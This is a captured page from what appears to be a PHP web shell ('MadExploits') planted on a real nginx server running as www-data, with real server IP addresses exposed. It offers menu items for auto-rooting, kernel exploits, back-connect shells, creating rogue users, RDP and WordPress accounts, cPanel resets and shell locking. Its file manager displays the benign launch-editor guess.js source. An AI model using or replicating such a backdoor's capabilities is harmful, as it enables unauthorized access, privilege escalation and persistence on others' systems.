Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
launch-editor /
[ HOME SHELL ]
Name
Size
Permission
Action
editor-info
[ DIR ]
dr-xr-xr-x
LICENSE
1.07
KB
-rw-rw-rw-
get-args.js
1.92
KB
-rw-rw-rw-
guess.js
3.73
KB
-rw-rw-rw-
index.js
5.91
KB
-rw-rw-rw-
package.json
547
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : guess.js
const path = require('path') const shellQuote = require('shell-quote') const childProcess = require('child_process') // Map from full process name to binary that starts the process // We can't just re-use full process name, because it will spawn a new instance // of the app every time const COMMON_EDITORS_MACOS = require('./editor-info/macos') const COMMON_EDITORS_LINUX = require('./editor-info/linux') const COMMON_EDITORS_WIN = require('./editor-info/windows') module.exports = function guessEditor (specifiedEditor) { if (specifiedEditor) { return shellQuote.parse(specifiedEditor) } if (process.env.LAUNCH_EDITOR) { return [process.env.LAUNCH_EDITOR] } if (process.versions.webcontainer) { return [process.env.EDITOR || 'code'] } // We can find out which editor is currently running by: // `ps x` on macOS and Linux // `Get-Process` on Windows try { if (process.platform === 'darwin') { const output = childProcess .execSync('ps x -o comm=', { stdio: ['pipe', 'pipe', 'ignore'] }) .toString() const processNames = Object.keys(COMMON_EDITORS_MACOS) const processList = output.split('\n') for (let i = 0; i < processNames.length; i++) { const processName = processNames[i] // Find editor by exact match. if (processList.includes(processName)) { return [COMMON_EDITORS_MACOS[processName]] } const processNameWithoutApplications = processName.replace('/Applications', '') // Find editor installation not in /Applications. if (output.indexOf(processNameWithoutApplications) !== -1) { // Use the CLI command if one is specified if (processName !== COMMON_EDITORS_MACOS[processName]) { return [COMMON_EDITORS_MACOS[processName]] } // Use a partial match to find the running process path. If one is found, use the // existing path since it can be running from anywhere. const runningProcess = processList.find((procName) => procName.endsWith(processNameWithoutApplications)) if (runningProcess !== undefined) { return [runningProcess] } } } } else if (process.platform === 'win32') { const output = childProcess .execSync( 'powershell -NoProfile -Command "Get-CimInstance -Query \\"select executablepath from win32_process where executablepath is not null\\" | % { $_.ExecutablePath }"', { stdio: ['pipe', 'pipe', 'ignore'] } ) .toString() const runningProcesses = output.split('\r\n') for (let i = 0; i < runningProcesses.length; i++) { const fullProcessPath = runningProcesses[i].trim() const shortProcessName = path.basename(fullProcessPath) if (COMMON_EDITORS_WIN.indexOf(shortProcessName) !== -1) { return [fullProcessPath] } } } else if (process.platform === 'linux') { // --no-heading No header line // x List all processes owned by you // -o comm Need only names column const output = childProcess .execSync('ps x --no-heading -o comm --sort=comm', { stdio: ['pipe', 'pipe', 'ignore'] }) .toString() const processNames = Object.keys(COMMON_EDITORS_LINUX) for (let i = 0; i < processNames.length; i++) { const processName = processNames[i] if (output.indexOf(processName) !== -1) { return [COMMON_EDITORS_LINUX[processName]] } } } } catch (ignoreError) { // Ignore... } // Last resort, use old skool env vars if (process.env.VISUAL) { return [process.env.VISUAL] } else if (process.env.EDITOR) { return [process.env.EDITOR] } return [null] }
Close